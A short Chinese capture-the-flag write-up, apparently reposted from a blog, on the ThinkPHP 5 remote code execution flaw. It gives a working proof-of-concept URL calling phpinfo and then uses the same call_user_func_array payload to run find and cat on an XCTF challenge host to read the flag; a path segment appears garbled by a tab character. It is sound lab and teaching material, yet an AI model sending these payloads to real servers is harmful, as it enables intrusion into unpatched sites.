Thinkphp 远程执行漏洞

容器环境:https://vulhub.org/#/environments/thinkphp/5-rce/

POC

 http://your-ip:8080/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

XCTF中的php_rce题目:

 

使用POC可以成功返回phpinfo,接着我们查找一下flag文件在哪

http://220.249.52.133:46460/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag

得到

最后获取flag:

http://220.249.52.133:46460/index.php?s=/Index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

页面返回:flag{thinkphp5_rce}

原文地址:https://www.cnblogs.com/luocodes/p/13813168.html